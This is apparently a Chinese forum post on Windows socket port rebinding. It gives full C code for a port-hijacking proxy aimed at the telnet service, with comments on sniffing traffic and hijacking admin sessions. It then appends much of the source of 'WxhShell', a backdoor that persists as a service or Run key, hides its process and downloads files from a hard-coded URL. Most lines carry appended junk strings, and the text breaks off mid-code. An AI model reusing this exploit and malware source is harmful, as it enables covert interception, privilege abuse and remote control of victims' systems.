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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3g^IXm:K$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q Xsfp  
&^AzIfX}Gw  
  saddr.sin_family = AF_INET; B*32D8t`u  
Ia=&.,xub  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4 iik5  
gYRqqV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MPqY?KF  
m9%yR"g9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  {`tHJ|8  
4$ ..r4@  
  这意味着什么?意味着可以进行如下的攻击: w4NZt|>5j;  
pb~Ps#"Zg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tP&{ J^G  
7 FEzak'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )iT.A  
)~1.<((<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nR(#F9  
3D{82*&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [kVpzpGr  
b?sA EU;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ="/R5fp  
P0a>+^:%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "r:H5) !  
n+v!H O"2u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /,=Wy"0TJ  
`MN&(!&C*  
  #include Pw0{.W~r  
  #include }]uB? +c  
  #include q] 2}UuM|U  
  #include    FEge+`{,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W ]a7&S  
  int main() B.h0" vJ  
  { /%2:+w  
  WORD wVersionRequested; 9|us<k  
  DWORD ret; ---Ks0\V  
  WSADATA wsaData;  "Nk`RsW  
  BOOL val; @SX%? mk8G  
  SOCKADDR_IN saddr; <|mE9u  
  SOCKADDR_IN scaddr; d,Im&j_Z  
  int err; =e"H1^Ml  
  SOCKET s; K * xM[vO  
  SOCKET sc; |6\FI?  
  int caddsize; 7vB9K_wCI  
  HANDLE mt; |;x fe"]  
  DWORD tid;   (:tTx>V#  
  wVersionRequested = MAKEWORD( 2, 2 ); ~ex~(AWh  
  err = WSAStartup( wVersionRequested, &wsaData ); S-H-tFy\\  
  if ( err != 0 ) { >\^N\&  
  printf("error!WSAStartup failed!\n"); Requ.?!fG;  
  return -1; 7J #g1  
  } k1~nd=p  
  saddr.sin_family = AF_INET; JKEXYE  
   Q' OuZKhA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RZcx4fL}x  
Pf^Ly 97  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O=4c eE mz  
  saddr.sin_port = htons(23); /6Jy'"+'0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3G:NZ)p  
  { ~ wJ3AqNC?  
  printf("error!socket failed!\n"); wj5qQ]WC  
  return -1; 2 zmQp  
  } S)Ub/`f{s  
  val = TRUE; '#pMEVP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -(%ar%~Zd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mjkw&2  
  { 3Vb=6-|  
  printf("error!setsockopt failed!\n"); Mp DdJ,  
  return -1; < e7<t9  
  } _E x*%Qf.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q]2sj:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yhJA;&}>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *Bb|N--jI  
V PLCic,T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b7>,-O  
  { [qjAq@@N#q  
  ret=GetLastError(); B6Wq/fl/  
  printf("error!bind failed!\n"); aHVdClD2o  
  return -1; hPEp0("  
  } JsWq._O{/  
  listen(s,2); W>t&N  
  while(1) 1DI"LIL  
  { R9|2&pfm(M  
  caddsize = sizeof(scaddr); 3_R   
  //接受连接请求 FBwncG$]F*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;?O883@r8  
  if(sc!=INVALID_SOCKET) TCEXa?,L  
  { b}}1TnS)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +*r**(-Dm  
  if(mt==NULL) JYVxdvq1  
  { {{4p{  
  printf("Thread Creat Failed!\n"); J;Z>fAE7  
  break; yccuTQvz  
  } Wzf1-0t  
  } f3%^-Uy*b  
  CloseHandle(mt); S,)|~#5x  
  } ` + n  
  closesocket(s); mv9E{m  
  WSACleanup(); 6Mf3)o2  
  return 0; fa*H cz  
  }   Ndug9j\2  
  DWORD WINAPI ClientThread(LPVOID lpParam) a2 klOX{  
  { nDoiG#N0  
  SOCKET ss = (SOCKET)lpParam; P(YG@  
  SOCKET sc; NP<F==,  
  unsigned char buf[4096]; w$U/;C  
  SOCKADDR_IN saddr; t}c}@i_c  
  long num; +ia(%[  
  DWORD val; 6yl;o_6:  
  DWORD ret; )68fm\t(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &xiDG=I#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DESViQM  
  saddr.sin_family = AF_INET; f2w=ln  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C^\*|=*\  
  saddr.sin_port = htons(23); 5M\=+5wB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l:5CM[mZ  
  { vxilQp  
  printf("error!socket failed!\n"); L->f= 8L  
  return -1; *3etxnQc  
  } Jq+$_Uqd  
  val = 100; l3Bxi1k[C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rm\ '];  
  { u6S0t?Udap  
  ret = GetLastError(); zcD_}t_K  
  return -1; tM PX vE  
  } mZ0oa-Iy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fO|~Oz<S  
  { 0@FM^ejA#  
  ret = GetLastError(); v(Zi;?c  
  return -1; {i%x s#0h  
  } %3l;bR>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U)I `:J+A  
  { C +?@iMh  
  printf("error!socket connect failed!\n"); D8D!16_  
  closesocket(sc); eDM0417O(  
  closesocket(ss); ";S*[d.2tA  
  return -1; ~q_+;W.  
  } @y\{<X.F\1  
  while(1) vo( j@+dz  
  { }fZ =T4r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 moJT8tb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y'2kV6TtqD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 64 \5v?C  
  num = recv(ss,buf,4096,0); :@@A  
  if(num>0) QY\wQjwuW  
  send(sc,buf,num,0); D>7_P7]y  
  else if(num==0) l;Wy,?p  
  break; `F+x]<m!  
  num = recv(sc,buf,4096,0); ssJDaf79  
  if(num>0) g=YiR/O1QN  
  send(ss,buf,num,0); zyp"*0zUr  
  else if(num==0) 72`/xryY  
  break; #L IsL  
  } k'I_,Z<,  
  closesocket(ss); /E4}d =5L  
  closesocket(sc); Z/05 wB  
  return 0 ; 3Gd&=IJ  
  } ^3)2]>pW  
(~pEro]?+)  
61rh\<bn  
========================================================== *"QE1Fum'  
>5@vY?QXO  
下边附上一个代码,,WXhSHELL $@qs(Xwr  
%M,d/4=P  
========================================================== !E:Vn *k;  
,fG_'3wb  
#include "stdafx.h" =Wy`X0h  
! 7*_Z=  
#include <stdio.h> `i)ePiE  
#include <string.h> ]z q_gV8k  
#include <windows.h> PD T\Q\J^X  
#include <winsock2.h> c.{&~  
#include <winsvc.h> h. (;GJO  
#include <urlmon.h> ;7n*PBUJJ  
$t H.np  
#pragma comment (lib, "Ws2_32.lib") UrcN?  
#pragma comment (lib, "urlmon.lib") PUZXmnB  
F%+rOT<5  
#define MAX_USER   100 // 最大客户端连接数 hYUV9k:  
#define BUF_SOCK   200 // sock buffer ~B*\k^t`  
#define KEY_BUFF   255 // 输入 buffer vwH7/+  
.q9|XDqQc  
#define REBOOT     0   // 重启 oJJ k  
#define SHUTDOWN   1   // 关机 2SPFjpG8n  
=O'%)Y&  
#define DEF_PORT   5000 // 监听端口 fYQi#0drn  
i`nw"8  
#define REG_LEN     16   // 注册表键长度 '/Cz{<,  
#define SVC_LEN     80   // NT服务名长度 Ce'2lo  
Y$$?8xr ~  
// 从dll定义API 2l(j 4~g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j% USu+&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8(/f!~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p,u<g JUL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PW//8lsR  
-zLI!F 0  
// wxhshell配置信息 {i}Q}OgYq  
struct WSCFG { ftU5 A@(T  
  int ws_port;         // 监听端口 cTa D{!zm5  
  char ws_passstr[REG_LEN]; // 口令 6`";)T[G9  
  int ws_autoins;       // 安装标记, 1=yes 0=no <d&)|W  
  char ws_regname[REG_LEN]; // 注册表键名 f uN XY-;  
  char ws_svcname[REG_LEN]; // 服务名 34^Cfh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9c % Tv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cA SHgm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +M]8_kE=+l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0:+uw` %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kBT}Siw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,Y8X"~{A  
h5JwB<8  
}; N b[o6AX  
~rX6owBq  
// default Wxhshell configuration *#^1rKGWK  
struct WSCFG wscfg={DEF_PORT, qq_,"~  
    "xuhuanlingzhe", ^`MDP`M;  
    1, ]a|;G  
    "Wxhshell", 7c]Ai  
    "Wxhshell", Y <k,E  
            "WxhShell Service", jh&vq=P H  
    "Wrsky Windows CmdShell Service", C$ `Y[w  
    "Please Input Your Password: ", 3 DHA^9<q  
  1, N_Ld,J%g  
  "http://www.wrsky.com/wxhshell.exe", OwIy(ukTI  
  "Wxhshell.exe" N~J Eia%  
    }; 8si^HEQ8  
~[y+B0I3  
// 消息定义模块 rPpAg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hf{%N'4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Od]xIk+E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \` ^Tbn:  
char *msg_ws_ext="\n\rExit."; T|2%b*/  
char *msg_ws_end="\n\rQuit."; 5 t?2B]  
char *msg_ws_boot="\n\rReboot..."; sLqvDH?V  
char *msg_ws_poff="\n\rShutdown..."; X@q1;J  
char *msg_ws_down="\n\rSave to "; Lbp6I0&n  
l4reG:uYG  
char *msg_ws_err="\n\rErr!"; xi. KD  
char *msg_ws_ok="\n\rOK!"; V(uRKu x  
Z2jb>%  
char ExeFile[MAX_PATH]; `80Hxp@  
int nUser = 0; 5@%-=87S  
HANDLE handles[MAX_USER]; 5m?$\h  
int OsIsNt; /(pChY>  
}/0dfes  
SERVICE_STATUS       serviceStatus; Py]ci`27  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +M&S  
Y mjS!H  
// 函数声明 mM{v>Em2K#  
int Install(void); ~Fb?h%w  
int Uninstall(void); ;O|63  
int DownloadFile(char *sURL, SOCKET wsh); 2B dr#qr  
int Boot(int flag); `2+e\%f/0  
void HideProc(void); |6^ K  
int GetOsVer(void); FN EmGz/4  
int Wxhshell(SOCKET wsl); .{Oq)^!ot  
void TalkWithClient(void *cs); m9c T}x&j  
int CmdShell(SOCKET sock); r['C.S6  
int StartFromService(void); 6|cl`}g_j  
int StartWxhshell(LPSTR lpCmdLine); DJ0T5VE W3  
\%Q rN+WQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *v/*_6f*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :]Qx T8B  
oa !P]r  
// 数据结构和表定义 G@!9)v]9  
SERVICE_TABLE_ENTRY DispatchTable[] = 1^^D :tt  
{ S Tk#hhx  
{wscfg.ws_svcname, NTServiceMain}, E}&jtMRUt  
{NULL, NULL} i]?xM2(N  
}; 17MjIX  
Qo *]l_UO;  
// 自我安装 as!j0j%  
int Install(void) S,RJ#.:F[t  
{ 9W$)W  
  char svExeFile[MAX_PATH]; eJp-s" %  
  HKEY key; 9'h^59  
  strcpy(svExeFile,ExeFile); !OgoV22  
o|q#A3%?  
// 如果是win9x系统,修改注册表设为自启动 S6tH!Z=(g  
if(!OsIsNt) { Mu%,@?zM^/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fsj[JE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F &}V65  
  RegCloseKey(key); ~U+'3.Wo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0|;=mYa4M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rNyK*Wjt  
  RegCloseKey(key); K.m[S[cy  
  return 0;  U~t(YT  
    } cpnwx1q@  
  } ]bweQw@i  
} X-F HJ4  
else { Q*(o;\s  
? d\8Q't*  
// 如果是NT以上系统,安装为系统服务 {2@96o2}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jMbK7 1K%  
if (schSCManager!=0) g>zL{[e!  
{ LWV`xCr8R  
  SC_HANDLE schService = CreateService -;"l 5oX  
  ( J[wXG6M  
  schSCManager, ]]3D` F}  
  wscfg.ws_svcname, -1JHhRr]  
  wscfg.ws_svcdisp, $8r:&Iw  
  SERVICE_ALL_ACCESS, A,qG*lv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pj]<i.p  
  SERVICE_AUTO_START, +(%[fW  
  SERVICE_ERROR_NORMAL, 3: Uik  
  svExeFile, Kjw\SQ)2~  
  NULL, #KW:OFT  
  NULL, p]4 sN  
  NULL, 3IFU{0a`  
  NULL, #mYxO  
  NULL =YIQ _,{u  
  ); HXI}f\6x  
  if (schService!=0) E:k?*l  
  { 063;D+  
  CloseServiceHandle(schService); (Lnh> '2  
  CloseServiceHandle(schSCManager); cC.DBYV+-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R 0}%   
  strcat(svExeFile,wscfg.ws_svcname); 1[^d8!U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dZmq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y>8?RX8  
  RegCloseKey(key); sN2l[Ous  
  return 0; vE(Hy&Q&  
    } +)S X  
  } z, [ +  
  CloseServiceHandle(schSCManager); VIzZmd  
} q?&&:.H"?5  
} &=bI3-  
2-84  
return 1; |=s3a5sl  
} KK</5Aw9p  
MzD0F#Y  
// 自我卸载 JB<4 m4-  
int Uninstall(void) Ji q[VeLe  
{ .~J^`/o  
  HKEY key; ^h=kJR9  
h6/Z_ Y  
if(!OsIsNt) { C.<4D1}P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y e'5 A   
  RegDeleteValue(key,wscfg.ws_regname); cDg27xOUi  
  RegCloseKey(key); 46~ug5gV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ty>O}9%  
  RegDeleteValue(key,wscfg.ws_regname); YP l{5 =  
  RegCloseKey(key); x{$NstGB  
  return 0; c&&UT-Z  
  } #Gx@\BE{  
} &&O=v]6,V  
} 2uVm?nm  
else { \`C3;}o:"P  
Ek3O{<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k1J}9HNYR  
if (schSCManager!=0) / yCV-L2J  
{ mLE`IKgd]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ] ?(=rm9u  
  if (schService!=0) }g?]B+0  
  { 1o%Hn"uG  
  if(DeleteService(schService)!=0) {  t2iFd?  
  CloseServiceHandle(schService); rtm28|0H'  
  CloseServiceHandle(schSCManager); 4hIC&W~f  
  return 0; \m&:J >^  
  } kWFR(J&R  
  CloseServiceHandle(schService); Lrq&k40y  
  } K4BMa]/U  
  CloseServiceHandle(schSCManager); S[M$>  
} \X!!(Z;6A  
} P; Ox|  
WlUE&=|Oz2  
return 1; ']Z8C)tK  
} xpz Jt2S  
P}gh-5x  
// 从指定url下载文件 Jp- hFD  
int DownloadFile(char *sURL, SOCKET wsh) \Z8!iruN  
{ dImm},  
  HRESULT hr; #7{a~-S  
char seps[]= "/"; w]_a0{Uh  
char *token; JS9q'd  
char *file; 8CCA/6  
char myURL[MAX_PATH]; C$8=HM3  
char myFILE[MAX_PATH]; e 6*=Si}V  
*3|KbCX  
strcpy(myURL,sURL); NQmDm!-4  
  token=strtok(myURL,seps); zx27aZ[  
  while(token!=NULL) 3?:}lY<,  
  { Eq t61O$x  
    file=token; <$E8T>U  
  token=strtok(NULL,seps); M5]w U   
  } #/T)9=m  
<3HJkcYGz  
GetCurrentDirectory(MAX_PATH,myFILE); u|e2T@t=  
strcat(myFILE, "\\"); Oaui@q  
strcat(myFILE, file); y}A-o_u@cD  
  send(wsh,myFILE,strlen(myFILE),0); Liofv4![  
send(wsh,"...",3,0); 945psG@|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qp Z ".  
  if(hr==S_OK) 5gGr|d|(  
return 0; sMZ \6  
else &PbH!]yd  
return 1; FE`J.aw^X  
^#+9v  
} /=%4gWtr  
>|<6s],v  
// 系统电源模块 J{H475GqiT  
int Boot(int flag) V;$lgTs|'  
{ Rzp-Q5@M Y  
  HANDLE hToken; ?pFHpz   
  TOKEN_PRIVILEGES tkp; k:f Rk<C  
]BA8[2=m  
  if(OsIsNt) { '2NeuK-KD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); --FvE|I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T"O!  
    tkp.PrivilegeCount = 1; '?\Hm'8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xe d$z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @_;6 L  
if(flag==REBOOT) { uaiG (O   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PqfH}d0l  
  return 0; ^pn:SV  
} gbvBgOp  
else { t^q/'9Ai&J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `| fF)kI  
  return 0; FkH4|}1  
} xaPTTa  
  } aD.A +es  
  else { D`u{U]  
if(flag==REBOOT) { Ou/{PK}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i+OyBDkJM!  
  return 0; Q?~l=}2  
} 7JbN WN  
else { #VLTx!5o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'SC`->F4D  
  return 0; #]9yzyb_y  
} .NjOaK)\  
}  ST{<G  
\eN}V  
return 1; IlH*s/  
} .69{GM?  
by- B).7  
// win9x进程隐藏模块 b(wiJ&t  
void HideProc(void) 'i}Q R~pe  
{ [xHK^JP 8F  
.^/OL}/~<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ss*dM.b  
  if ( hKernel != NULL ) STO6cNi  
  { &TKB8vx=#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %#= 1?1s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #fQStO  
    FreeLibrary(hKernel); 8kk$:8  
  } J:t1W=lJ3  
1|2X0Xm{  
return; (i {  
} xR$xAcoSB  
ZZ.GpB.  
// 获取操作系统版本 %0L 9)-R  
int GetOsVer(void)  $///N+B  
{ f)>=.sp  
  OSVERSIONINFO winfo; }z}oVc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W}Z'zU?[  
  GetVersionEx(&winfo);  0N md*r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K?) &8S  
  return 1; Y}PI{PN  
  else )8yNqnD  
  return 0; 9%|!+!j  
} -|g~--@Q  
z`lDD  
// 客户端句柄模块 0Y{A  
int Wxhshell(SOCKET wsl) W@ #Y/L:${  
{ $P>ci4]t  
  SOCKET wsh; DvU(rr\p  
  struct sockaddr_in client; ~h -0rE  
  DWORD myID; G>"w$Us  
-r[l{ce  
  while(nUser<MAX_USER) Ig~lD>dnr'  
{ LG(bdj"NM  
  int nSize=sizeof(client); 9|fg\C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); woQYP,  
  if(wsh==INVALID_SOCKET) return 1; sT|8a  
H{yeN 5   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !M6*A1g5  
if(handles[nUser]==0) L'.7V ~b{  
  closesocket(wsh); 8ex{N3  
else Hr:WE+'  
  nUser++; LNtBYdB`pK  
  } iCnKQG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,@Xl?  
kU0e;r1N  
  return 0; nKT\/}d  
} l@%MS\{  
YRqIC -_  
// 关闭 socket uD_iyK0,  
void CloseIt(SOCKET wsh) "1t%J7c_  
{ 7?xTJN)G  
closesocket(wsh); rUR{MF&]D  
nUser--; xh,};TS(K  
ExitThread(0); > T=($:n  
} vdV@G`)HPr  
gh#9<  
// 客户端请求句柄 xx_]e4  
void TalkWithClient(void *cs) g?qm >X  
{ 1ve %xF  
HTA Jn_  
  SOCKET wsh=(SOCKET)cs; P;C3{>G9  
  char pwd[SVC_LEN]; h,"K+$  
  char cmd[KEY_BUFF]; LY(YgqL  
char chr[1]; W{<_gD9  
int i,j; &]iiBp#2  
B/6wp^#VX  
  while (nUser < MAX_USER) { VyK[*k yN  
]yy10Pk[!  
if(wscfg.ws_passstr) { /I(IT=kp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yj;KKgk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~dg7c{o5  
  //ZeroMemory(pwd,KEY_BUFF); D6fry\  
      i=0; OrNi<TY>  
  while(i<SVC_LEN) { ~bC{ R&p  
3 - Nwg9 U  
  // 设置超时 Gm~jC <  
  fd_set FdRead; ErnjIx:  
  struct timeval TimeOut; ;EDc1:  
  FD_ZERO(&FdRead); kZ~0fw-  
  FD_SET(wsh,&FdRead); yPs4S?<s  
  TimeOut.tv_sec=8; z|E/pm$^  
  TimeOut.tv_usec=0; (e.?). e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &@NTedg!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d e)7_pCF|  
K Rs e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4>x]v!d  
  pwd=chr[0]; hH_&42E6  
  if(chr[0]==0xd || chr[0]==0xa) { noJ5h |  
  pwd=0; |*W_  
  break; 2:3-mWE  
  } X:PB }  
  i++; Y">m g=B  
    } 1j"_@?H[  
&3~lZa;D  
  // 如果是非法用户,关闭 socket B)>r~v]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cAnL,?_v  
} Q$u&/g3NvL  
mCah{~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n@>h"(@i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5P'o+Vwz  
S5'ZKk  
while(1) { IdTa tE|^  
vM G>Xb  
  ZeroMemory(cmd,KEY_BUFF); %c:v70*h=  
[&y="6No  
      // 自动支持客户端 telnet标准   s[<a(  
  j=0; 3*INDD=  
  while(j<KEY_BUFF) { "pUqYMB2i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xgeDfpF'  
  cmd[j]=chr[0]; 4u0\|e@a  
  if(chr[0]==0xa || chr[0]==0xd) { NEp )V'  
  cmd[j]=0; gJ;jh7e@  
  break; d+DdDr  
  } CWKN0HB  
  j++; ^K[WFiN}  
    } k+qxx5{  
F9h'.{@d  
  // 下载文件 }#'I,?_k  
  if(strstr(cmd,"http://")) { ^jY/w>UdH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FVY$A =G  
  if(DownloadFile(cmd,wsh)) w(/#isC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CVxqNR*DN  
  else - QPM$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$P|!k45(  
  } gbf2ty  
  else { ,yPs4',d  
Z!#n55 |  
    switch(cmd[0]) { zt,Tda4Y  
  %*:X FB  
  // 帮助 Qk`ykTS!  
  case '?': { iB-h3/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <;eXbO>Q  
    break; ;&iZ {  
  } .0ov>4,R  
  // 安装 ayGYVYi  
  case 'i': { GTYCNi66  
    if(Install()) 9c pjO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R k'5L  
    else  F6'[8f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WxE^S ??|  
    break; VKGH+j[  
    } HV0!G-h  
  // 卸载 &>%R)?SZh  
  case 'r': { nrFuhW\r  
    if(Uninstall()) s<#["K*_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{'3eJ^8  
    else BeR7LV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AhozrroV  
    break; ,?k0~fuG6  
    } m%$GiNs}  
  // 显示 wxhshell 所在路径 0;J#".(KQ  
  case 'p': { 8VWkUsOoI  
    char svExeFile[MAX_PATH]; "K Or)QD/  
    strcpy(svExeFile,"\n\r");  iwiHw  
      strcat(svExeFile,ExeFile); ` @PHV  
        send(wsh,svExeFile,strlen(svExeFile),0); 40?xu#"  
    break; <q}w,XU  
    } PJ$C$G  
  // 重启 !\'NBq,  
  case 'b': { #saK8; tp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ='rSB.$Ctk  
    if(Boot(REBOOT)) 7A,QA5G ]C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n8K FP  
    else { S`w_q=-^8  
    closesocket(wsh); 9sQ #v-+Yx  
    ExitThread(0); E: 7R>.g  
    } mQ$a^28=qR  
    break; l^~E+F~  
    } Jm#mC  
  // 关机 }Cs. Hm0P  
  case 'd': { r}>q*yx:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {.r jp`39  
    if(Boot(SHUTDOWN)) Q|$?d4La8  
